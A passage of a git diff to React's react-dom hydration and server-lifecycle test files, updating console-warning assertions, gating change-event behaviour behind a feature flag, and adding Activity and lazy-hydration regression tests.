     it('should not blow away user-interaction on successful reconnect to an uncontrolled range input', () =>
@@ -302,7 +325,9 @@ describe('ReactDOMServerIntegrationUserInteraction', () => {
         '0.25',
         '1',
       );
-      expect(changeCount).toBe(0);
+      expect(changeCount).toBe(
+        gate(flags => flags.enableHydrationChangeEvent) ? 1 : 0,
+      );
     });
 
     it('should not blow away user-entered text on successful reconnect to an uncontrolled checkbox', () =>
@@ -321,24 +346,22 @@ describe('ReactDOMServerIntegrationUserInteraction', () => {
         false,
         'checked',
       );
-      expect(changeCount).toBe(0);
+      expect(changeCount).toBe(
+        gate(flags => flags.enableHydrationChangeEvent) ? 1 : 0,
+      );
     });
 
-    // skipping this test because React 15 does the wrong thing. it blows
-    // away the user's typing in the textarea.
-    // eslint-disable-next-line jest/no-disabled-tests
-    it.skip('should not blow away user-entered text on successful reconnect to an uncontrolled textarea', () =>
+    // @gate enableHydrationChangeEvent
+    it('should not blow away user-entered text on successful reconnect to an uncontrolled textarea', () =>
       testUserInteractionBeforeClientRender(<textarea defaultValue="Hello" />));
 
-    // skipping this test because React 15 does the wrong thing. it blows
-    // away the user's typing in the textarea.
-    // eslint-disable-next-line jest/no-disabled-tests
-    it.skip('should not blow away user-entered text on successful reconnect to a controlled textarea', async () => {
+    // @gate enableHydrationChangeEvent
+    it('should not blow away user-entered text on successful reconnect to a controlled textarea', async () => {
       let changeCount = 0;
       await testUserInteractionBeforeClientRender(
         <ControlledTextArea onChange={() => changeCount++} />,
       );
-      expect(changeCount).toBe(0);
+      expect(changeCount).toBe(1);
     });
 
     it('should not blow away user-selected value on successful reconnect to an uncontrolled select', () =>
@@ -358,7 +381,64 @@ describe('ReactDOMServerIntegrationUserInteraction', () => {
       await testUserInteractionBeforeClientRender(
         <ControlledSelect onChange={() => changeCount++} />,
       );
-      expect(changeCount).toBe(0);
+      expect(changeCount).toBe(
+        gate(flags => flags.enableHydrationChangeEvent) ? 1 : 0,
+      );
+    });
+
+    // @gate enableHydrationChangeEvent
+    it('should not blow away user-entered text cascading hydration to a controlled input', async () => {
+      let changeCount = 0;
+      await testUserInteractionBeforeClientRender(
+        <ControlledInput onChange={() => changeCount++} cascade={true} />,
+      );
+      expect(changeCount).toBe(1);
+    });
+
+    // @gate enableHydrationChangeEvent
+    it('should not blow away user-interaction cascading hydration to a controlled range input', async () => {
+      let changeCount = 0;
+      await testUserInteractionBeforeClientRender(
+        <ControlledInput
+          type="range"
+          initialValue="0.25"
+          onChange={() => changeCount++}
+          cascade={true}
+        />,
+        '0.25',
+        '1',
+      );
+      expect(changeCount).toBe(1);
+    });
+
+    // @gate enableHydrationChangeEvent
+    it('should not blow away user-entered text cascading hydration to a controlled checkbox', async () => {
+      let changeCount = 0;
+      await testUserInteractionBeforeClientRender(
+        <ControlledCheckbox onChange={() => changeCount++} cascade={true} />,
+        true,
+        false,
+        'checked',
+      );
+      expect(changeCount).toBe(1);
+    });
+
+    // @gate enableHydrationChangeEvent
+    it('should not blow away user-entered text cascading hydration to a controlled textarea', async () => {
+      let changeCount = 0;
+      await testUserInteractionBeforeClientRender(
+        <ControlledTextArea onChange={() => changeCount++} cascade={true} />,
+      );
+      expect(changeCount).toBe(1);
+    });
+
+    // @gate enableHydrationChangeEvent
+    it('should not blow away user-selected value cascading hydration to an controlled select', async () => {
+      let changeCount = 0;
+      await testUserInteractionBeforeClientRender(
+        <ControlledSelect onChange={() => changeCount++} cascade={true} />,
+      );
+      expect(changeCount).toBe(1);
     });
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMServerLifecycles-test.js b/packages/react-dom/src/__tests__/ReactDOMServerLifecycles-test.js
index d0e9a4ae2eea..f72a4e9eecdb 100644
--- a/packages/react-dom/src/__tests__/ReactDOMServerLifecycles-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMServerLifecycles-test.js
@@ -13,12 +13,16 @@ const ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegratio
 
 let React;
 let ReactDOMServer;
+let assertConsoleErrorDev;
+let assertConsoleWarnDev;
 
 function initModules() {
   // Reset warning cache.
   jest.resetModules();
   React = require('react');
   ReactDOMServer = require('react-dom/server');
+  assertConsoleErrorDev = require('internal-test-utils').assertConsoleErrorDev;
+  assertConsoleWarnDev = require('internal-test-utils').assertConsoleWarnDev;
 
   // Make them available to the helpers.
   return {
@@ -115,9 +119,17 @@ describe('ReactDOMServerLifecycles', () => {
       }
     }
 
-    expect(() => ReactDOMServer.renderToString(<Component />)).toErrorDev(
-      'Unsafe legacy lifecycles will not be called for components using new component APIs.',
-    );
+    ReactDOMServer.renderToString(<Component />);
+    assertConsoleErrorDev([
+      'Unsafe legacy lifecycles will not be called for components using new component APIs.\n' +
+        '\n' +
+        'Component uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\n' +
+        '  UNSAFE_componentWillMount\n' +
+        '\n' +
+        'The above lifecycles should be removed. Learn more about this warning here:\n' +
+        'https://react.dev/link/unsafe-component-lifecycles\n' +
+        '    in Component (at **)',
+    ]);
   });
 
   it('should update instance.state with value returned from getDerivedStateFromProps', () => {
@@ -182,10 +194,12 @@ describe('ReactDOMServerLifecycles', () => {
       }
     }
 
-    expect(() => ReactDOMServer.renderToString(<Component />)).toErrorDev(
+    ReactDOMServer.renderToString(<Component />);
+    assertConsoleErrorDev([
       'Component.getDerivedStateFromProps(): A valid state object (or null) must ' +
-        'be returned. You have returned undefined.',
-    );
+        'be returned. You have returned undefined.\n' +
+        '    in Component (at **)',
+    ]);
 
     // De-duped
     ReactDOMServer.renderToString(<Component />);
@@ -201,12 +215,14 @@ describe('ReactDOMServerLifecycles', () => {
       }
     }
 
-    expect(() => ReactDOMServer.renderToString(<Component />)).toErrorDev(
+    ReactDOMServer.renderToString(<Component />);
+    assertConsoleErrorDev([
       '`Component` uses `getDerivedStateFromProps` but its initial state is ' +
         'undefined. This is not recommended. Instead, define the initial state by ' +
         'assigning an object to `this.state` in the constructor of `Component`. ' +
-        'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.',
-    );
+        'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.\n' +
+        '    in Component (at **)',
+    ]);
 
     // De-duped
     ReactDOMServer.renderToString(<Component />);
@@ -227,9 +243,16 @@ describe('ReactDOMServerLifecycles', () => {
       }
     }
 
-    expect(() => ReactDOMServer.renderToString(<Component />)).toWarnDev(
-      'componentWillMount has been renamed',
-    );
+    ReactDOMServer.renderToString(<Component />);
+    assertConsoleWarnDev([
+      'componentWillMount has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n' +
+        '\n' +
+        '* Move code from componentWillMount to componentDidMount (preferred in most cases) or the constructor.\n' +
+        '\n' +
+        'Please update the following components: Component\n' +
+        '    in Component (at **)',
+    ]);
     expect(log).toEqual(['componentWillMount', 'UNSAFE_componentWillMount']);
   });
 
@@ -254,17 +277,17 @@ describe('ReactDOMServerLifecycles', () => {
         return <div>{this.props.children + '-' + this.state.x}</div>;
       }
     }
-    expect(() => {
-      // Shouldn't be 1-3.
-      expect(ReactDOMServer.renderToStaticMarkup(<Outer />)).toBe(
-        '<div>1-2</div>',
-      );
-    }).toErrorDev(
+    // Shouldn't be 1-3.
+    expect(ReactDOMServer.renderToStaticMarkup(<Outer />)).toBe(
+      '<div>1-2</div>',
+    );
+    assertConsoleErrorDev([
       'Can only update a mounting component. This ' +
         'usually means you called setState() outside componentWillMount() on ' +
         'the server. This is a no-op.\n\n' +
-        'Please check the code for the Outer component.',
-    );
+        'Please check the code for the Outer component.\n' +
+        '    in Outer (at **)',
+    ]);
   });
 
   it('should not invoke cWM if static gDSFP is present', () => {
@@ -281,9 +304,17 @@ describe('ReactDOMServerLifecycles', () => {
       }
     }
 
-    expect(() => ReactDOMServer.renderToString(<Component />)).toErrorDev(
-      'Unsafe legacy lifecycles will not be called for components using new component APIs.',
-    );
+    ReactDOMServer.renderToString(<Component />);
+    assertConsoleErrorDev([
+      'Unsafe legacy lifecycles will not be called for components using new component APIs.\n' +
+        '\n' +
+        'Component uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\n' +
+        '  componentWillMount\n' +
+        '\n' +
+        'The above lifecycles should be removed. Learn more about this warning here:\n' +
+        'https://react.dev/link/unsafe-component-lifecycles\n' +
+        '    in Component (at **)',
+    ]);
   });
 
   it('should warn about deprecated lifecycle hooks', () => {
@@ -294,11 +325,16 @@ describe('ReactDOMServerLifecycles', () => {
       }
     }
 
-    expect(() => ReactDOMServer.renderToString(<MyComponent />)).toWarnDev(
-      'componentWillMount has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
-        '* Move code from componentWillMount to componentDidMount (preferred in most cases) or the constructor.\n\n' +
-        'Please update the following components: MyComponent',
-    );
+    ReactDOMServer.renderToString(<MyComponent />);
+    assertConsoleWarnDev([
+      'componentWillMount has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n' +
+        '\n' +
+        '* Move code from componentWillMount to componentDidMount (preferred in most cases) or the constructor.\n' +
+        '\n' +
+        'Please update the following components: MyComponent\n' +
+        '    in MyComponent (at **)',
+    ]);
 
     // De-duped
     ReactDOMServer.renderToString(<MyComponent />);
diff --git a/packages/react-dom/src/__tests__/ReactDOMServerPartialHydration-test.internal.js b/packages/react-dom/src/__tests__/ReactDOMServerPartialHydration-test.internal.js
index 36f7c95ba653..3e6af7bc9744 100644
--- a/packages/react-dom/src/__tests__/ReactDOMServerPartialHydration-test.internal.js
+++ b/packages/react-dom/src/__tests__/ReactDOMServerPartialHydration-test.internal.js
@@ -26,6 +26,7 @@ let waitForAll;
 let waitFor;
 let waitForPaint;
 let assertLog;
+let assertConsoleErrorDev;
 
 function normalizeError(msg) {
   // Take the first sentence to make it easier to assert on.
@@ -112,7 +113,7 @@ describe('ReactDOMServerPartialHydration', () => {
     act = require('internal-test-utils').act;
     ReactDOMServer = require('react-dom/server');
     Scheduler = require('scheduler');
-    Activity = React.unstable_Activity;
+    Activity = React.Activity;
     Suspense = React.Suspense;
     useSyncExternalStore = React.useSyncExternalStore;
     if (gate(flags => flags.enableSuspenseList)) {
@@ -124,6 +125,7 @@ describe('ReactDOMServerPartialHydration', () => {
     assertLog = InternalTestUtils.assertLog;
     waitForPaint = InternalTestUtils.waitForPaint;
     waitFor = InternalTestUtils.waitFor;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
 
     IdleEventPriority = require('react-reconciler/constants').IdleEventPriority;
   });
@@ -1916,9 +1918,13 @@ describe('ReactDOMServerPartialHydration', () => {
 
       // While we're part way through the hydration, we update the state.
       // This will schedule an update on the children of the suspense boundary.
-      expect(() => updateText('Hi')).toErrorDev(
-        "Can't perform a React state update on a component that hasn't mounted yet.",
-      );
+      updateText('Hi');
+      assertConsoleErrorDev([
+        "Can't perform a React state update on a component that hasn't mounted yet. " +
+          'This indicates that you have a side-effect in your render function that ' +
+          'asynchronously tries to update the component. Move this work to useEffect instead.\n' +
+          '    in App (at **)',
+      ]);
 
       // This will throw it away and rerender.
       await waitForAll(['Child']);
@@ -2356,7 +2362,7 @@ describe('ReactDOMServerPartialHydration', () => {
 
     function App({showMore}) {
       return (
-        <SuspenseList revealOrder="forwards">
+        <SuspenseList revealOrder="forwards" tail="visible">
           {a}
           {b}
           {showMore ? (
@@ -2551,14 +2557,7 @@ describe('ReactDOMServerPartialHydration', () => {
     suspend = true;
 
     await act(async () => {
-      if (gate(flags => flags.forceConcurrentByDefaultForTesting)) {
-        await waitFor(['Before']);
-        // This took a long time to render.
-        Scheduler.unstable_advanceTime(1000);
-        await waitFor(['After']);
-      } else {
-        await waitFor(['Before', 'After']);
-      }
+      await waitFor(['Before', 'After']);
 
       // This will cause us to skip the second row completely.
     });
@@ -3669,8 +3668,7 @@ describe('ReactDOMServerPartialHydration', () => {
     expect(ref.current.innerHTML).toBe('Hidden child');
   });
 
-  // @gate enableActivity
-  it('a visible Activity component acts like a fragment', async () => {
+  it('a visible Activity component is surrounded by comment markers', async () => {
     const ref = React.createRef();
 
     function App() {
@@ -3691,9 +3689,11 @@ describe('ReactDOMServerPartialHydration', () => {
     // pure indirection.
     expect(container).toMatchInlineSnapshot(`
       <div>
+        <!--&-->
         <span>
           Child
         </span>
+        <!--/&-->
       </div>
     `);
 
@@ -3705,7 +3705,6 @@ describe('ReactDOMServerPartialHydration', () => {
     expect(ref.current).toBe(span);
   });
 
-  // @gate enableActivity
   it('a hidden Activity component is skipped over during server rendering', async () => {
     const visibleRef = React.createRef();
 
@@ -3722,6 +3721,11 @@ describe('ReactDOMServerPartialHydration', () => {
           <Activity mode="hidden">
             <HiddenChild />
           </Activity>
+          <Suspense fallback={null}>
+            <Activity mode="hidden">
+              <HiddenChild />
+            </Activity>
+          </Suspense>
         </>
       );
     }
@@ -3740,6 +3744,8 @@ describe('ReactDOMServerPartialHydration', () => {
         <span>
           Visible
         </span>
+        <!--$-->
+        <!--/$-->
       </div>
     `);
 
@@ -3750,13 +3756,44 @@ describe('ReactDOMServerPartialHydration', () => {
     await waitForPaint(['App']);
     expect(visibleRef.current).toBe(visibleSpan);
 
+    if (gate(flags => flags.enableYieldingBeforePassive)) {
+      // Passive effects.
+      await waitForPaint([]);
+    }
+
     // Subsequently, the hidden child is prerendered on the client
+    // along with hydrating the Suspense boundary outside the Activity.
     await waitForPaint(['HiddenChild']);
     expect(container).toMatchInlineSnapshot(`
       <div>
         <span>
           Visible
         </span>
+        <!--$-->
+        <!--/$-->
+        <span
+          style="display: none;"
+        >
+          Hidden
+        </span>
+      </div>
+    `);
+
+    // Next the child inside the Activity is hydrated.
+    await waitForPaint(['HiddenChild']);
+
+    expect(container).toMatchInlineSnapshot(`
+      <div>
+        <span>
+          Visible
+        </span>
+        <!--$-->
+        <!--/$-->
+        <span
+          style="display: none;"
+        >
+          Hidden
+        </span>
         <span
           style="display: none;"
         >
@@ -3874,7 +3911,6 @@ describe('ReactDOMServerPartialHydration', () => {
     );
   });
 
-  // @gate favorSafetyOverHydrationPerf
   it("falls back to client rendering when there's a text mismatch (direct text child)", async () => {
     function DirectTextChild({text}) {
       return <div>{text}</div>;
@@ -3894,11 +3930,10 @@ describe('ReactDOMServerPartialHydration', () => {
       });
     });
     assertLog([
-      "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+      "onRecoverableError: Hydration failed because the server rendered text didn't match the client.",
     ]);
   });
 
-  // @gate favorSafetyOverHydrationPerf
   it("falls back to client rendering when there's a text mismatch (text child with siblings)", async () => {
     function Sibling() {
       return 'Sibling';
@@ -3933,7 +3968,263 @@ describe('ReactDOMServerPartialHydration', () => {
       );
     });
     assertLog([
-      "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+      "onRecoverableError: Hydration failed because the server rendered text didn't match the client.",
     ]);
   });
+
+  it('hides a dehydrated suspense boundary if the parent resuspends', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+    const ref = React.createRef();
+
+    function Child({text}) {
+      if (suspend) {
+        throw promise;
+      } else {
+        return text;
+      }
+    }
+
+    function Sibling({resuspend}) {
+      if (suspend && resuspend) {
+        throw promise;
+      } else {
+        return null;
+      }
+    }
+
+    function Component({text}) {
+      return (
+        <Suspense>
+          <Child text={text} />
+          <span ref={ref}>World</span>
+        </Suspense>
+      );
+    }
+
+    function App({text, resuspend}) {
+      const memoized = React.useMemo(() => <Component text={text} />, [text]);
+      return (
+        <div>
+          <Suspense fallback="Loading...">
+            {memoized}
+            <Sibling resuspend={resuspend} />
+          </Suspense>
+        </div>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(<App text="Hello" />);
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    const root = ReactDOMClient.hydrateRoot(container, <App text="Hello" />, {
+      onRecoverableError(error) {
+        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+        if (error.cause) {
+          Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+        }
+      },
+    });
+    await waitForAll([]);
+
+    expect(ref.current).toBe(null); // Still dehydrated
+    const span = container.getElementsByTagName('span')[0];
+    const textNode = span.previousSibling;
+    expect(textNode.nodeValue).toBe('Hello');
+    expect(span.textContent).toBe('World');
+
+    // Render an update, that resuspends the parent boundary.
+    // Flushing now now hide the text content.
+    await act(() => {
+      root.render(<App text="Hello" resuspend={true} />);
+    });
+
+    expect(ref.current).toBe(null);
+    expect(span.style.display).toBe('none');
+    expect(textNode.nodeValue).toBe('');
+
+    // Unsuspending shows the content.
+    await act(async () => {
+      suspend = false;
+      resolve();
+      await promise;
+    });
+
+    expect(textNode.nodeValue).toBe('Hello');
+    expect(span.textContent).toBe('World');
+    expect(span.style.display).toBe('');
+    expect(ref.current).toBe(span);
+  });
+
+  // Regression for https://github.com/facebook/react/issues/35210 and other issues where lazy elements created in flight
+  // caused hydration issues b/c the replay pathway did not correctly reset the hydration cursor
+  it('Can hydrate even when lazy content resumes immediately inside a HostComponent', async () => {
+    let resolve;
+    const promise = new Promise(r => {
+      resolve = () => r({default: 'value'});
+    });
+
+    const lazyContent = React.lazy(() => {
+      Scheduler.log('Lazy initializer called');
+      return promise;
+    });
+
+    function App() {
+      return <label>{lazyContent}</label>;
+    }
+
+    // Server-rendered HTML
+    const container = document.createElement('div');
+    container.innerHTML = '<label>value</label>';
+
+    const hydrationErrors = [];
+
+    React.startTransition(() => {
+      ReactDOMClient.hydrateRoot(container, <App />, {
+        onRecoverableError(error) {
+          console.log('[DEBUG] hydration error:', error.message);
+          hydrationErrors.push(error.message);
+        },
+      });
+    });
+
+    await waitFor(['Lazy initializer called']);
+    resolve();
+    await waitForAll([]);
+
+    // Without the fix, hydration cursor is wrong and causes mismatch
+    expect(hydrationErrors).toEqual([]);
+    expect(container.innerHTML).toEqual('<label>value</label>');
+  });
+
+  it('Can hydrate even when lazy content resumes immediately inside a HostSingleton', async () => {
+    let resolve;
+    const promise = new Promise(r => {
+      resolve = () => r({default: <div>value</div>});
+    });
+
+    const lazyContent = React.lazy(() => {
+      Scheduler.log('Lazy initializer called');
+      return promise;
+    });
+
+    function App() {
+      return (
+        <html>
+          <body>{lazyContent}</body>
+        </html>
+      );
+    }
+
+    // Server-rendered HTML
+    document.body.innerHTML = '<div>value</div>';
+
+    const hydrationErrors = [];
+
+    React.startTransition(() => {
+      ReactDOMClient.hydrateRoot(document, <App />, {
+        onRecoverableError(error) {
+          console.log('[DEBUG] hydration error:', error.message);
+          hydrationErrors.push(error.message);
+        },
+      });
+    });
+
+    await waitFor(['Lazy initializer called']);
+    resolve();
+    await waitForAll([]);
+
+    expect(hydrationErrors).toEqual([]);
+    expect(document.documentElement.outerHTML).toEqual(
+      '<html><head></head><body><div>value</div></body></html>',
+    );
+  });
+
+  it('Can hydrate even when lazy content resumes immediately inside a Suspense', async () => {
+    let resolve;
+    const promise = new Promise(r => {
+      resolve = () => r({default: 'value'});
+    });
+
+    const lazyContent = React.lazy(() => {
+      Scheduler.log('Lazy initializer called');
+      return promise;
+    });
+
+    function App() {
+      return <Suspense>{lazyContent}</Suspense>;
+    }
+
+    // Server-rendered HTML
+    const container = document.createElement('div');
+    container.innerHTML = '<!--$-->value<!--/$-->';
+
+    const hydrationErrors = [];
+
+    let root;
+    React.startTransition(() => {
+      root = ReactDOMClient.hydrateRoot(container, <App />, {
+        onRecoverableError(error) {
+          console.log('[DEBUG] hydration error:', error.message);
+          hydrationErrors.push(error.message);
+        },
+      });
+    });
+
+    await waitFor(['Lazy initializer called']);
+    resolve();
+    await waitForAll([]);
+
+    expect(hydrationErrors).toEqual([]);
+    expect(container.innerHTML).toEqual('<!--$-->value<!--/$-->');
+    root.unmount();
+    expect(container.innerHTML).toEqual('<!--$--><!--/$-->');
+  });
+
+  it('Can hydrate even when lazy content resumes immediately inside an Activity', async () => {
+    let resolve;
+    const promise = new Promise(r => {
+      resolve = () => r({default: 'value'});
+    });
+
+    const lazyContent = React.lazy(() => {
+      Scheduler.log('Lazy initializer called');
+      return promise;
+    });
+
+    function App() {
+      return <Activity mode="visible">{lazyContent}</Activity>;
+    }
+
+    // Server-rendered HTML
+    const container = document.createElement('div');
+    container.innerHTML = '<!--&-->value<!--/&-->';
+
+    const hydrationErrors = [];
+
+    let root;
+    React.startTransition(() => {
+      root = ReactDOMClient.hydrateRoot(container, <App />, {
+        onRecoverableError(error) {
+          console.log('[DEBUG] hydration error:', error.message);
+          hydrationErrors.push(error.message);
+        },
+      });
+    });
+
+    await waitFor(['Lazy initializer called']);
+    resolve();
+    await waitForAll([]);
+
+    expect(hydrationErrors).toEqual([]);
+    expect(container.innerHTML).toEqual('<!--&-->value<!--/&-->');
+    root.unmount();
+    expect(container.innerHTML).toEqual('<!--&--><!--/&-->');
+  });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMServerPartialHydrationActivity-test.internal.js b/packages/react-dom/src/__tests__/ReactDOMServerPartialHydrationActivity-test.internal.js
new file mode 100644
index 000000000000..0921920cb55d
--- /dev/null
+++ b/packages/react-dom/src/__tests__/ReactDOMServerPartialHydrationActivity-test.internal.js
@@ -0,0 +1,2979 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment
+ */
+
+'use strict';
+
+let Activity;
+let React = require('react');
+let ReactDOM;
+let ReactDOMClient;
+let ReactDOMServer;
+let ReactFeatureFlags;
+let Scheduler;
+let Suspense;
+let useSyncExternalStore;
+let act;
+let IdleEventPriority;
+let waitForAll;
+let waitFor;
+let assertLog;
+let assertConsoleErrorDev;
+
+function normalizeError(msg) {
+  // Take the first sentence to make it easier to assert on.
+  const idx = msg.indexOf('.');
+  if (idx > -1) {
+    return msg.slice(0, idx + 1);
+  }
+  return msg;
+}
+
+function dispatchMouseEvent(to, from) {
+  if (!to) {
+    to = null;
+  }
+  if (!from) {
+    from = null;
+  }
+  if (from) {
+    const mouseOutEvent = document.createEvent('MouseEvents');
+    mouseOutEvent.initMouseEvent(
+      'mouseout',
+      true,
+      true,
+      window,
+      0,
+      50,
+      50,
+      50,
+      50,
+      false,
+      false,
+      false,
+      false,
+      0,
+      to,
+    );
+    from.dispatchEvent(mouseOutEvent);
+  }
+  if (to) {
+    const mouseOverEvent = document.createEvent('MouseEvents');
+    mouseOverEvent.initMouseEvent(
+      'mouseover',
+      true,
+      true,
+      window,
+      0,
+      50,
+      50,
+      50,
+      50,
+      false,
+      false,
+      false,
+      false,
+      0,
+      from,
+    );
+    to.dispatchEvent(mouseOverEvent);
+  }
+}
+
+describe('ReactDOMServerPartialHydrationActivity', () => {
+  beforeEach(() => {
+    jest.resetModules();
+
+    ReactFeatureFlags = require('shared/ReactFeatureFlags');
+    ReactFeatureFlags.enableSuspenseCallback = true;
+    ReactFeatureFlags.enableCreateEventHandleAPI = true;
+
+    React = require('react');
+    ReactDOM = require('react-dom');
+    ReactDOMClient = require('react-dom/client');
+    act = require('internal-test-utils').act;
+    ReactDOMServer = require('react-dom/server');
+    Scheduler = require('scheduler');
+    Activity = React.Activity;
+    Suspense = React.Suspense;
+    useSyncExternalStore = React.useSyncExternalStore;
+
+    const InternalTestUtils = require('internal-test-utils');
+    waitForAll = InternalTestUtils.waitForAll;
+    assertLog = InternalTestUtils.assertLog;
+    waitFor = InternalTestUtils.waitFor;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
+
+    IdleEventPriority = require('react-reconciler/constants').IdleEventPriority;
+  });
+
+  it('hydrates a parent even if a child Activity boundary is blocked', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+    const ref = React.createRef();
+
+    function Child() {
+      if (suspend) {
+        throw promise;
+      } else {
+        return 'Hello';
+      }
+    }
+
+    function App() {
+      return (
+        <div>
+          <Activity>
+            <span ref={ref}>
+              <Child />
+            </span>
+          </Activity>
+        </div>
+      );
+    }
+
+    // First we render the final HTML. With the streaming renderer
+    // this may have suspense points on the server but here we want
+    // to test the completed HTML. Don't suspend on the server.
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    const span = container.getElementsByTagName('span')[0];
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    ReactDOMClient.hydrateRoot(container, <App />);
+    await waitForAll([]);
+
+    expect(ref.current).toBe(null);
+
+    // Resolving the promise should continue hydration
+    suspend = false;
+    resolve();
+    await promise;
+    await waitForAll([]);
+
+    // We should now have hydrated with a ref on the existing span.
+    expect(ref.current).toBe(span);
+  });
+
+  it('can hydrate siblings of a suspended component without errors', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+    function Child() {
+      if (suspend) {
+        throw promise;
+      } else {
+        return 'Hello';
+      }
+    }
+
+    function App() {
+      return (
+        <Activity>
+          <Child />
+          <Activity>
+            <div>Hello</div>
+          </Activity>
+        </Activity>
+      );
+    }
+
+    // First we render the final HTML. With the streaming renderer
+    // this may have suspense points on the server but here we want
+    // to test the completed HTML. Don't suspend on the server.
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+    expect(container.textContent).toBe('HelloHello');
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    ReactDOMClient.hydrateRoot(container, <App />, {
+      onRecoverableError(error) {
+        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+        if (error.cause) {
+          Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+        }
+      },
+    });
+    await waitForAll([]);
+
+    // Expect the server-generated HTML to stay intact.
+    expect(container.textContent).toBe('HelloHello');
+
+    // Resolving the promise should continue hydration
+    suspend = false;
+    resolve();
+    await promise;
+    await waitForAll([]);
+    // Hydration should not change anything.
+    expect(container.textContent).toBe('HelloHello');
+  });
+
+  it('falls back to client rendering boundary on mismatch', async () => {
+    let client = false;
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => {
+      resolve = () => {
+        suspend = false;
+        resolvePromise();
+      };
+    });
+    function Child() {
+      if (suspend) {
+        Scheduler.log('Suspend');
+        throw promise;
+      } else {
+        Scheduler.log('Hello');
+        return 'Hello';
+      }
+    }
+    function Component({shouldMismatch}) {
+      Scheduler.log('Component');
+      if (shouldMismatch && client) {
+        return <article>Mismatch</article>;
+      }
+      return <div>Component</div>;
+    }
+    function App() {
+      return (
+        <Activity>
+          <Child />
+          <Component />
+          <Component />
+          <Component />
+          <Component shouldMismatch={true} />
+        </Activity>
+      );
+    }
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    const container = document.createElement('section');
+    container.innerHTML = finalHTML;
+    assertLog(['Hello', 'Component', 'Component', 'Component', 'Component']);
+
+    expect(container.innerHTML).toBe(
+      '<!--&-->Hello<div>Component</div><div>Component</div><div>Component</div><div>Component</div><!--/&-->',
+    );
+
+    suspend = true;
+    client = true;
+
+    ReactDOMClient.hydrateRoot(container, <App />, {
+      onRecoverableError(error) {
+        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+        if (error.cause) {
+          Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+        }
+      },
+    });
+    await waitForAll(['Suspend']);
+    jest.runAllTimers();
+
+    // Unchanged
+    expect(container.innerHTML).toBe(
+      '<!--&-->Hello<div>Component</div><div>Component</div><div>Component</div><div>Component</div><!--/&-->',
+    );
+
+    suspend = false;
+    resolve();
+    await promise;
+    await waitForAll([
+      // first pass, mismatches at end
+      'Hello',
+      'Component',
+      'Component',
+      'Component',
+      'Component',
+
+      // second pass as client render
+      'Hello',
+      'Component',
+      'Component',
+      'Component',
+      'Component',
+      // Hydration mismatch is logged
+      "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+    ]);
+
+    // Client rendered - suspense comment nodes removed
+    expect(container.innerHTML).toBe(
+      'Hello<div>Component</div><div>Component</div><div>Component</div><article>Mismatch</article>',
+    );
+  });
+
+  it('handles if mismatch is after suspending', async () => {
+    let client = false;
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => {
+      resolve = () => {
+        suspend = false;
+        resolvePromise();
+      };
+    });
+    function Child() {
+      if (suspend) {
+        Scheduler.log('Suspend');
+        throw promise;
+      } else {
+        Scheduler.log('Hello');
+        return 'Hello';
+      }
+    }
+    function Component({shouldMismatch}) {
+      Scheduler.log('Component');
+      if (shouldMismatch && client) {
+        return <article>Mismatch</article>;
+      }
+      return <div>Component</div>;
+    }
+    function App() {
+      return (
+        <Activity>
+          <Child />
+          <Component shouldMismatch={true} />
+        </Activity>
+      );
+    }
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    const container = document.createElement('section');
+    container.innerHTML = finalHTML;
+    assertLog(['Hello', 'Component']);
+
+    expect(container.innerHTML).toBe(
+      '<!--&-->Hello<div>Component</div><!--/&-->',
+    );
+
+    suspend = true;
+    client = true;
+
+    ReactDOMClient.hydrateRoot(container, <App />, {
+      onRecoverableError(error) {
+        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+        if (error.cause) {
+          Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+        }
+      },
+    });
+    await waitForAll(['Suspend']);
+    jest.runAllTimers();
+
+    // !! Unchanged, continue showing server content while suspended.
+    expect(container.innerHTML).toBe(
